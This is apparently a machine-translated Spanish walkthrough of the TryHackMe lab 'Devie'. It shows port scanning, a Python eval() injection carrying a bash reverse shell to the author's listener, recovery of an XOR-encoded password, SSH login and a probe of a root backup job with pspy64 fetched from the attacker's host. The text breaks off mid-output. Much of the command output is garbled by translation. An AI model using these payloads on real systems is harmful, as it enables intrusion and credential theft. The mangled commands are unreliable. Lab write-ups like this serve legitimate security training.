Esta vez, probé la inyección de comando usando la función eval () de Python.
También incluye la inyección de comandos como un artículo para la habitación llamada Devie de Tryhackme, así que eche un vistazo.
"Tryhackme-: https://tryhackme.com/room/devie "





Preparación
Primero, seleccione "Máquina de inicio" para iniciar la máquina de destino.

Mientras se muestre la dirección IP, está bien.

¿Cuáles son las banderas?
Vamos a conseguir la bandera de inmediato.
No hay pistas en esta habitación, por lo que debemos comenzar con el reconocimiento.
¿Cuál es la primera bandera?
Primero, usaremos NMAP para realizar el escaneo de puertos.
┌── (HackLab㉿hackLab)-[~] └─ $ nmap -sc -sv -p--min-rate 1500 10.10.120.182 -on tcp-scan.txt iniciando nmap 7.92 (https://nmap.org) en 2023-05-25 22:07 jst nmap scan informar para 10.10.120.182.182 (0.25s latencia). No se muestra: 65533 Puertos TCP cerrados (Conn-Representados) Servicio de estado de puerto Versión 22/TCP Open SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; Protocolo 2.0) | SSH-HostKey: | 3072 C9: 72: 7B: F5: B6: 2e: D5: 99: 56: 14: DE: 43: 09: 3a: 64: 92 (RSA) | 256 0b: 75: 58: 5a: b9: f7: 5b: a9: ff: ef: ad: 71: c1: 09: 0a: 33 (ecdsa) | _ 256 7d: f9: c9: f8: 67: f9: 95: 4e: 01: 68: 23: a4: 7b: 8c: 98: 30 (ED2519) UPNP? | Huellas dactilares: | GetRequest: | Http/1.1 200 OK | Servidor: Werkzeug/2.1.2 Python/3.8.10 | Fecha: Jue, 25 de mayo de 2023 13:08:24 GMT | Tipo de contenido: texto/html; Charset = UTF-8 | Contenido-longitud: 4486 | Conexión: Cerrar |<!doctype html> |<html lang="en"> |<head> |<meta charset="utf-8"> |<meta name="viewport" content="width=device-width, initial-scale=1"> | <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> |<title> Matemáticas</title> |</head> |<body> | id = "Título"> Fórmulas matemáticas</p> |<main> |<section><!-- Sections within the main --> | id = "títulos"> no dude en usar cualquiera de las calculadoras a continuación:</h3> |<br> |<article><!-- Sections within the section --> | id = "títulos"> fórmula cuadrática</h4> | <form met | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd">|<html> |<head> |<meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | |</head> | |<h1> Respuesta de error</h1> |<p> Código de error: 400</p> |<p> Mensaje: Versión de solicitud mala ('RTSP/1.0').</p> |<p> Código de error Explicación: httpstatus.bad_request - sintaxis de solicitud mala o método no compatible.</p> | | _</html> 1 Servicio de datos de devolución de destino no reconocidos. Si conoce el servicio/versión, envíe la siguiente huella digital en https://nmap.org/cgi-bin/submit.cgi?new-service: sf-port5000-tcp: v = 7.92%i = 7%d = 5/25%tiempo = 646f5dc9%P = x86_64-pc-linux Sf: Trequil, 1235, "http/1 \ .1 \ x20200 \ x20ok \ r \ nserver: \ x20werkzeug/2 \ .1 \ .2 \ x2 sf: 0python/3 \ .8 \ .10 \ r \ ndate: \ x20thu, \ x2025 \ x20may \ x202023 \ x2013: 08 \ x20ghu, \ x2025 \ x20may \ x202023 \ x2013: 08 \ x20ghu, \ x2025 \ x20may \ x202023 \ x2013: 08 \ x20g. Sf: mt \ r \ ncontent-type: \ x20text/html; \ x20charset = utf-8 \ r \ ncontent-longitud: \ x sf: 204486 \ r \ nconnection: \ x20Close \ r \ n \ r \ n \ n \ n \ n \ n \ n \ n \ n<!doctype\x20html> \norte<html\x20lang SF:=\"en\"> \ n \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20charset=\"utf-8\"> \ n Sf: \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi SF:dth,\x20initial-scale=1\"> \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 <link\x20href=\"https://c SF:dn\.jsdelivr\.net/npm/bootstrap@5\.0\.1/dist/css/bootstrap\.min\.css\"\ SF:x20rel=\"stylesheet\"\x20integrity=\"sha384-\+0n0xVW2eSR5OomGNYDnhzAbDs SF:OXxcvSN1TPprVMTNDbiYZCxYbOOl7\+AMvyTG2x\"\x20crossorigin=\"anonymous\"> Sf: \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20</head> \ n \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20<p\x20id=\"title\"> Matemáticas \ x20formulas</p> \ n \ n \ x20 \ x20 \ sf: x20 \ x20<main> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<section> \ x20 \ x20<!--\x20Section SF:s\x20within\x20the\x20main\x20--> \ n \ n \ t \ t \ t<h3\x20id=\"titles\"> \ x20f sf: EEL \ x20Free \ x20to \ x20use \ x20any \ x20Of \ x20the \ x20calculators \ x20below:</ SF:h3> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<br> \ n \ t \ t \ t<article> \ x20<!--\x2 SF:0Sections\x20within\x20the\x20section\x20--> \ n \ t \ t \ t \ t \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h4\x20id=\"titles\"> Cuadrática \ x20formula</h SF:4> \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 <form\x20met")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\ SF:x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"> \norte<html> \ n \ x20 sf: \ x20 \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20http-equiv SF:=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"> \ n \ x20 \ x20 \ x20 sf: \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 <sf:/head> \ n \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h1> Err sf: o \ x20Response</h1> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p> Error \ x20code: \ sf: x20400</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p> Mensaje: \ x20bad \ x20reque sf: st \ x20version \ x20 \ ('rtsp/1 \ .0' \) \.</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x2 sf: 0<p> Error \ x20code \ x20Explanation: \ x20httpstatus \ .bad_request \ x20- \ x20ba sf: d \ x20Request \ x20syntax \ x20or \ x20Unsupported \ x20method \.</p> \ n \ x20 \ x20 \ x sf: 20 \ x20 \ n</html> \ n "); Información del servicio: OS: Linux; CPE: CPE:/O: Linux: Linux_Kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP LISTO: 1 dirección IP (1 host) Scanned en 175.50 segundos.
Encontré dos cosas:
- 22: SSH
- 5000: aplicación web que se ejecuta en un servidor HTTP
Ahora echemos un vistazo a la aplicación web número 5000.

Puede descargar el código fuente.
Descárguelo y eche un vistazo al contenido.

Lo primero que me molesta es bisection.py.
Prime.py y Quadratic.py son flotadores, mientras que aquí hay una cadena.

El siguiente es App.py.
Si observa la parte de bisectas, puede ver que está usando eval ().

Como puede ver en el sitio a continuación, eval () le permite ejecutar los valores ingresados por el usuario por el código Python.
Como valor de entrada, llame a OS.System () para revertir el shell.
Quiero reescribir los valores en Burp Suite, por lo que enviaré el método de bisección.

Proxy en BURP Suite y reescribe Xa con el código de shell inverso a continuación.
__import __ ('OS'). System ('Bash -C \'/bin/Bash+-i+>%26+/dev/tcp/10.18.110.90/9001+0>%261 \ '')#

Escuche con NC antes de reenviar.
┌── (Hacklab㉿hackLab) -[~] └─ $ NC -LNVP 9001 escuchando en [cualquier] 9001 ...
Después de reenviar, obtuve un Bruce Shell.
┌── (Hacklab㉿hackLab) -[~] └─ $ NC -LNVP 9001 escuchando en [cualquiera] 9001 ... Conéctese a [10.18.110.90] Desde (desconocido) [10.10.120.182] 48192 Bash: no puede establecer grupo de proceso terminal (694): IOCTL inapropiado para el dispositivo BASH: NO TRABAJO DEL TRABAJO EN ESTE SEDIA: ODO DEL SEDIA: ~ $ Whoami Whoami Bruce
Hay flag1.txt, así que por favor échale un vistazo.
Bruce@Devie: ~ $ ll LL Total 44 Drwxr-Xr-X 4 Bruce Bruce 4096 Feb 20 00:33 ./ DRWXR-XR-X 4 Root Root 4096 12 de mayo 2022 ../ LRWXRWXRWX 1 1 de mayo 13 2022 .Bash_history->/ Dev/ Dev/ Dev/ Dev/ Dev/ Null .bash_logout -rw-r --- 1 Bruce Bruce 3771 25 de febrero 2020 .BASHRC DRWX ----- 2 Bruce Bruce 4096 de mayo 12 2022 .Cache/ -RW-R--R-- 1 raíz de la raíz 158 19 23:26 Lista de cheques -rw-r ---- 1 Root Bruce 23 de mayo 12 2022 Flag1.txt -rw-r ---- 1 Raíz de la raíz Nota -rw-r --- 1 Bruce Bruce 807 25 de febrero 2020 .Profile -rw-rw-r-- 1 Bruce Bruce 75 de mayo 12 2022 .Selected_Editor DRWX ---- 2 Bruce Bruce 4096 12 de mayo 2022 .SSH/ -rw ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------
Respuesta

¿Cuál es la segunda bandera?
Buscaré la segunda bandera.
Encontré un archivo llamado nota en el directorio de Bruce que me gustó, así que lo comprobaré.
Bruce@Devie: ~ $ Cat nota Cat nota Hola Bruce, he codificado mi contraseña usando el formato XOR super seguro. Hice la llave bastante longitud y la picante con un poco de base64 al final para hacerlo aún más seguro. Compartiré el guión de decodificación pronto. Sin embargo, puede usar mi script ubicado en el directorio / opt /. Por ahora, mire esta cadena súper segura: Needtien1Mrdg5k Gordon ===== Hello Bruce, utilicé el formato XOR súper seguro para codificar la contraseña. La llave era bastante larga y finalmente la condimento con Base64 para hacerlo aún más seguro. Publicaremos pronto el script de descifrado. Sin embargo, puede usar mi script en el directorio / opt /. Por ahora, eche un vistazo a esta cadena súper segura: Needtien1mrdg5k Gordon
En resumen, se codificó en formato XOR y luego se codificó en Base64.
También dijo que el script de cifrado está en "/opt/".
En este punto, conocemos el "Neuedtien1Mrdg5k" que es el resultado de cifrarlo con el script anterior.
- Texto sin formato:? ?
- llave:? ?
- Cifrado: Needtien1Mrdg5K
Si está encriptado por XOR, significa que se puede combinar siempre que conozca la clave.
Para averiguar la clave, debe conocer el texto sin formato y el cifrado.
Esta vez, hay un script de codificación, por lo que puede identificar la clave generando cifrados a partir de un texto sin formato apropiado y descifrando el cifrado utilizando el texto de la ley como la clave.
Primero, echemos un vistazo a CiCrypt.py in /opt /.
bruce@devie: ~ $ cd/ opt/ cd/ opt/ bruce@devie:/ opt $ ll ll total 12 DRWXR-XR-X 2 raíz raíz 4096 agosto 2 2022 ./ DRWXR-XR-X 19 raíz de la raíz 4096 12 de mayo 2022 ../ -rw-r ------ 1 raíz gordon 485 agosto de agosto 2022 encrypt.py.py.py.py.
Por ahora, parece no ser autorizado.
Ver permisos de sudo con sudo -l.
bruce@devie:/opt $ sudo -l sudo -l Entradas predeterminadas de coincidencia para bruce en el dispositivo: env_reset, mail_badpass, secure_path =/usr/local/sbin \:/usr/local/bin \:/usr/sbin \:/sbin \:/snap/bin user bruce puede ejecutar los siguientes comandos en el devie: ((gordon) nopas /usr/bin/python3 /opt/encrypt.py
Nopasswd de Gordon tenía "/usr/bin/python3 /opt/encrypt.py".
Esto significa que puede hacerlo sin contraseña.
Ahora ejecutemos CiCrypt.py.
La nota anterior establece que la clave se establece en mucho tiempo, por lo que la configuré en 30 dígitos.
bruce@devie:/opt $ sudo -u gordon/usr/bin/python3 /opt/encrypt.py sudo -u gordon/usr/bin/python3 /opt/encrypt.py Ingrese una contraseña para encrypt: 123456789012345678901234567890 QKDDUUDFULTLVUVZVK1NWUVAVKJCR0NRR0VSW0TV
El resultado de la ejecución es el siguiente:
- Texto plano: 123456789012345678901234567890
- llave:? ?
- Criptografía: qkdduudfultlvuvzvk1nwuvavkjcr0nrr0vsw0tv
Ahora que conocemos el texto y el cifrado, lo descifraremos usando Cyberchef

Los resultados de decodificación son los siguientes:
supersecretkeyxorxorsupersecre
Se repite cuando se exceden los dígitos, por lo que descubrí que la clave es "SuperSecretKeyxorxor".
- Texto plano: 123456789012345678901234567890
- Clave: SuperSecretkeyxorxor
- Criptografía: qkdduudfultlvuvzvk1nwuvavkjcr0nrr0vsw0tv
Si el cifrado se generó a partir del mismo script de codificación, la clave debe ser la misma, por lo que la clave que encriptó la contraseña de Gordon también será la misma.
- Texto sin formato:? ?
- Clave: SuperSecretkeyxorxor
- Cifrado: Needtien1Mrdg5K
Ahora puede descifrar el cifrado utilizando la clave.
Use cyberchef.

Los resultados de decodificación son los siguientes:
- Texto plano: g0th@mr0ckz!
- Clave: SuperSecretkeyxorxor
- Cifrado: Needtien1Mrdg5K
Recibí con éxito el texto sin formato, así que me conectaré con SSH.
┌── (Hacklab㉿hackLab)-[~] └─ $ ssh gordon@10.10.120.182 La autenticidad del host '10 .10.120.182 (10.10.120.182) 'no se puede establecer. ED25519 La huella digital clave es SHA256: 6nbpoxonbvdqtml32goul+ch5cxdnjqbofz7s9o2itg. Esta clave de host se conoce por los siguientes otros nombres/direcciones: ~/.ssh/Know_hosts: 6: [Nombre hash] ~/.ssh/Know_hosts: 7: [Nombre de hash] ¿Está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregó permanentemente '10 .10.120.182 '(ED25519) a la lista de hosts conocidos. gordon@10.10.120.182 Contraseña: Bienvenido a Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-Generic X86_64) * Documentación: https://help.ubuntu.com * Gestión: https://landsc.canonical.com Mayo de 2023 01:47:42 PM CARGA DEL SISTEMA UTC: 0.08 PROCESOS: 124 Uso de /: 56.4% de 8.87 GB Los usuarios iniciados: 0 Uso de la memoria: 12% Dirección IPv4 para ENS5: 10.10.120.182 Uso de intercambio: 0% * Kubernes confinadas Segura y IOT es segura y IOT segura. Aprenda cómo MicroK8s acaba de elevar la barra para una implementación de clúster K8S fácil, resistente y segura. https://ubuntu.com/engage/secure-kubernetes-at-the-leded * Introducción de mantenimiento de seguridad ampliado para aplicaciones. Reciba actualizaciones de más de 25,000 paquetes de software con su suscripción Ubuntu Pro. Gratis para uso personal. https://ubuntu.com/Pro El mantenimiento de seguridad ampliado para aplicaciones no está habilitado. 0 Las actualizaciones se pueden aplicar de inmediato. Habilite las aplicaciones ESM para recibir actualizaciones de seguridad futuras adicionales. Consulte https://ubuntu.com/esm o ejecutar: el estado de sudo pro La lista de actualizaciones disponibles tiene más de una semana de edad. Para verificar las nuevas actualizaciones ejecutándose: la actualización de sudo apt, los programas incluidos con el sistema Ubuntu son software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Ubuntu no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Gordon@Devie: ~ $
¡Pude conectarme de manera segura!
Hay flag2.txt, así que échale un vistazo.
Gordon@Devie: ~ $ ll Total 36 Drwxr-Xr-X 5 Gordon Gordon 4096 25 de mayo 13:47 ./ DRWXR-XR-X 4 Root Root 4096 12 de mayo 2022 ../ DRWXRWX --- 2 Gordon Gordon 4096 Febh 19 23:35 Backups/ lRWXRWXRWX 1 Root 9 May 13 2022. -> /dev /null -rw-r-r-- 1 Gordon Gordon 220 25 de febrero 2020 .bash_logout -rw-r-r-r ---- .bash_logout -rw-r--r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 gordon gordon 3771 Feb 25 2020 .bashrc DRWX --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------- gordon@devie: ~ $ cat flag2.txt thm {x0r_xor_xor_xor}
Respuesta

¿Qué es la bandera de la raíz?
Finalmente, se elevará a los privilegios de la raíz y obtendrá el indicador de la raíz.
Lo que tengo curiosidad es informes y accesorios.
Echemos un vistazo a lo que hay dentro.
Gordon@Devie: ~ $ ll Total 36 Drwxr-Xr-X 5 Gordon Gordon 4096 25 de mayo 13:47 ./ DRWXR-XR-X 4 Root Root 4096 12 de mayo 2022 ../ DRWXRWX --- 2 Gordon Gordon 4096 Febh 19 23:35 Backups/ lRWXRWXRWX 1 Root 9 May 13 2022. -> /dev /null -rw-r-r-- 1 Gordon Gordon 220 25 de febrero 2020 .bash_logout -rw-r-r-r ---- .bash_logout -rw-r--r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 gordon gordon 3771 Feb 25 2020 .bashrc DRWX --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------------------------------------------
También busqué los archivos en informes, pero no había nada particularmente molesto.
gordon@devie: ~ $ cd informes gordon@devie: ~/ informes $ ll total 20 DRWXRWX --- 2 Gordon Gordon 4096 Feb 19 23:33 ./ DRWXR-XR-X 5 Gordon Gordon 4096 25 de mayo 13:47 ../ -rw-r--R-- 1 640 Gordon 57 Feb 19:31 Informe 1 -rw 6-R- Gordon 72 19 de febrero 23:32 Report2 -RW-R-R-- 1 640 Gordon 100 Feb 19 23:33 Informe3
A continuación, con respecto a las copias de seguridad, parece estar respaldando informes.
Es extraño que los permisos sean raíz.
gordon@devie:~$ cd backups/ gordon@devie:~/backups$ ll total 20 drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 ./ drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../ -rw-r--r-- 1 root root 57 May 25 14:02 report1 -rw-r--r-- 1 root root 72 May 25 14:02 Report2 -RW-R-R-- 1 raíz de raíz 100 de mayo 25 14:02 Informe3
Para intentar, cree un test.txt en los informes.
gordon@devie: ~ $ cd informes gordon@devie: ~/ informes $ touch test.txt gordon@devie: ~/ informes $ ll total 20 drwxrwx --- 2 Gordon Gordon 4096 25 de mayo 14:03 ./ DRWXR-XR-X 5 Gordon Gordon 4096 25 de mayo 13:47 ../-RW-R---C- 1 640 GORD 27 TEBINO 27:31 Report1 -RW-R-R-- 1 640 Gordon 72 19 de febrero 23:32 Informe2 -RW-R-R-- 1 640 Gordon 100 Feb 19 23:33 Informe3 -RW-RW-R-- 1 Gordon Gordon 0 de mayo 25 14:03 Test.txt
Cuando busqué copias de seguridad, descubrí que Test.txt había sido copiado en aproximadamente un minuto. Y con privilegios raíz.
Gordon@Devie: ~/ Backups $ ll Total 20 Drwxrwx --- 2 Gordon Gordon 4096 25 de mayo 14:04 ./ DRWXR-XR-X 5 Gordon Gordon 4096 25 de mayo 13:47 ../ -rw-R-R-- 1 Root 57 de mayo 25 14:04 Informe1 -RW-R-1 Root Root 72 25 14:04 Root Root 100 de mayo 25 14:04 Informe3 -RW-R-R-- 1 Raíz Raíz 0 de mayo 25 14:04 Test.txt
Como se ejecuta regularmente, eché un vistazo a Crontab, pero no pude encontrar algo así. . .
gordon@devie: ~/backups $ cat/etc/crontab #/etc/crontab: crontab # de todo el sistema # A diferencia de cualquier otro crontab que no tenga que ejecutar el comando 'crontab' # para instalar la nueva versión cuando edita este archivo # y archivos en /etc/cron.d. Estos archivos también tienen campos de nombre de usuario, # que ninguno de los otros crontabs. Shell =/bin/sh path =/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin # Ejemplo de definición de trabajo: # .--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------- -Report /etc/Cron.Hurly 25 6 * * * Root Test -x/usr/sbin/anacron || (CD /&& Run -Parts -Report /etc/Cron.Daily) 47 6 * * 7 Root Test -x /usr /sbin /anacron || (CD /&& Run -Parts -Report /etc/Cron.weekly) 52 6 1 * * Root Test -x /usr /sbin /anacron || (CD /&& Run-Parts-Report /etc/Cron.Monthly) #
Ahora intentemos usar PSPY64.
Una vez descargado, simplemente configure el servidor usando Python.
┌── (Hacklab㉿hackLab) -[~] └─ $ Python3 -M http.Server 9999 Sirviendo http en 0.0.0.0 Port 9999 (http://0.0.0.0:9999/) ...
Descargue PSPY64 con WGet y cambie los permisos.
Gordon@Devie: ~ $ Wget 10.18.110.90:9999/download/Pspy64 --2023-05-25 14: 10: 13-- http://10.18.110.90:9999/%E3%83%80%E3%82%A6%E3%83%B3%E3%83%ad%E3%83%BC%E3%83%89/Pspy64 Connecting to 10.18.110.90:9999 ... conectado. Solicitud http enviada, respuesta de espera ... 200 ok longitud: 3104768 (3.0m) [aplicación/-stream] Guardar a: 'PSPy64' PSPy64 100%[=====>] 2.96m 123kb/s en 44S 2023-05-25 14:10:57 (69.5 KB/S)-'PSPy64' Saved Saveded [3104768/3104768] gordon@devie:~$ chmod a+x pspy64 gordon@devie:~$ ll total 3068 drwxr-xr-x 5 gordon gordon 4096 May 25 14:10 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 May 25 14:10 copias de seguridad/lrwxrwxrwx 1 raíz raíz 9 de mayo 13 2022 .bash_history->/dev/null -rw-r-r-- 1 Gordon Gordon 220 Feb 25 2020 .Bash_logout -rw-R --- 1 Gordon Gordon 3771 Feb 25 2020 .Bashrc Drwx ----- 2 Gordon Gordon Gordon Gordon Gordon .cache/ -rw-r ---- 1 raíz gordon 21 de agosto 2 2022 flag2.txt -rw-r-r-- 1 Gordon Gordon 807 Feb 25 2020 .Profile -RWXRWXR-X 1 Gordon Gordon 3104768 20 de mayo 08:27 PSPY64* DRWXRWX --- 2 Gordon Gordon 4096 May 25 14:03 informes/- 1 Gordon Gordon 0 de mayo 12 2022 .viminfo
Ahora, ejecute PSYS64.
gordon@devie:~$ ./pspy64 pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓████ ██▓███ ▓██░ ██▓██░ ██▒▒▒▒██░ ██▒░ ▓██░ ██▓▒░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ██ ▒ ▒ ▒ ██▒██▄█▓▒ ░ ▐██▓░ ▒██▒ ░ ░ ░ ██▒▒▒▒▒▒ ░ ░ ░ ░ ░ ░ ░ ░ ▓██ ▓██ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░. ░ Configuración: Eventos de impresión (coloreed = true): procesos = true | file-system-events = false ||| Escaneo para procesar cada 100 ms y en eventos inotify ||| Directorios de observación: [ /usr /tmp /etc /home /var /opt] (recursivo) | [] (no recursivo) Eventos del sistema de archivos de drenaje debido a la inicio ... Hecho 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1753 | ./PSPY64 2023/05/25 14:13:40 CMD: uid = 0 pid = 1741 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 1710 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 1638 | 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1582 | -Bash 2023/05/25 14:13:40 cmd: uid = 1001 pid = 1576 | SSHD: gordon@pts/0 2023/05/25 14:13:40 cmd: uid = 0 pid = 1454 | 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1453 | (SD-PAM) 2023/05/25 14:13:40 CMD: UID = 1001 PID = 1449 | /lib/systemd/systemd --user 2023/05/25 14:13:40 cmd: uid = 0 pid = 1433 | SSHD: Gordon [Priv] 2023/05/25 14:13:40 CMD: uid = 0 pid = 1262 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 997 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 709 | /usr/sbin/modemmanager 2023/05/25 14:13:40 cmd: uid = 0 pid = 702 | /usr/bin/python3/usr/share/desatendido-upgrades/desatendida-upgrade-shutdown --wait-for-signal 2023/05/25 14:13:40 cmd: uid = 0 pid = 696 | sshd:/usr/sbin/sshd -d [oyente] 0 de 10-100 startups 2023/05/25 14:13:40 cmd: uid = 1000 pid = 695 | /usr/bin/python3 /var/www/math/app.py 2023/05/25 14:13:40 cmd: uid = 1000 pid = 694 | /bin/sh -c/usr/bin/python3 /var/www/math/app.py 2023/05/25 14:13:40 cmd: uid = 0 pid = 683 | /sbin/agetty -o -p -\ u -noclear tty1 Linux 2023/05/25 14:13:40 cmd: uid = 0 pid = 677 | /sbin/agetty -o -p -\ u -mantenimiento -baud 115200,38400,9600 ttys0 vt220 2023/05/25 14:13:40 cmd: uid = 1 pid = 648 | /usr/sbin/atd -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 646 | /usr/sbin/cron -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 644 | /usr/lib/udisks2/udisksd 2023/05/25 14:13:40 cmd: uid = 0 pid = 642 | /lib/systemd/systemd-logind 2023/05/25 14:13:40 cmd: uid = 0 pid = 640 | /usr/lib/snapd/snapd 2023/05/25 14:13:40 cmd: uid = 104 pid = 639 | /usr/sbin/rsyslogd -n -inone 2023/05/25 14:13:40 cmd: uid = 0 pid = 633 | /usr/lib/policykit-1/polkitd-no-debug 2023/05/25 14:13:40 cmd: uid = 0 pid = 632 | /usr/bin/python3/usr/bin/networkd-disispatcher--run-startup Triggers 2023/05/25 14:13:40 cmd: uid = 0 pid = 631 | /usr/sbin/irqbalance -Foreground 2023/05/25 14:13:40 CMD: UID = 103 PID = 625 | /usr/bin/dbus-daemon --system --address = systemd: --nofork--nopidfile --systemd-activation --syslog-only 2023/05/25 14:13:40 cmd: uid = 0 pid = 624 | /usr/sbin/cron -f 2023/05/25 14:13:40 cmd: uid = 0 pid = 619 | /usr/bin/amazon-ssm-agent 2023/05/25 14:13:40 cmd: uid = 0 pid = 618 | /usr/lib/cuentas de cuentas/cuentas-daemon 2023/05/25 14:13:40 cmd: uid = 101 pid = 606 | /lib/systemd/systemd-resuelto 2023/05/25 14:13:40 cmd: uid = 100 pid = 595 | /lib/systemd/systemd-networkd 2023/05/25 14:13:40 cmd: uid = 102 pid = 557 | /lib/systemd/Systemd-Timesyncd 2023/05/25 14:13:40 cmd: uid = 0 pid = 548 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 547 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 541 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 537 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 535 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 526 | /sbin/multipathd -d -s 2023/05/25 14:13:40 cmd: uid = 0 pid = 525 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 524 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 523 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 522 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 403 | /lib/systemd/systemd-udevd 2023/05/25 14:13:40 cmd: uid = 0 pid = 365 | /lib/systemd/systemd-journald 2023/05/25 14:13:40 cmd: uid = 0 pid = 327 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 291 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 290 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 283 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 241 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 209 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 176 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 162 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 161 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 160 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 159 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 120 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 107 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 104 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 94 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 93 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 92 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 91 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 89 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 88 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 85 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 84 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 83 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 82 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 81 | 2023/05/25 14:13:40 cmd: uid = 0 pid 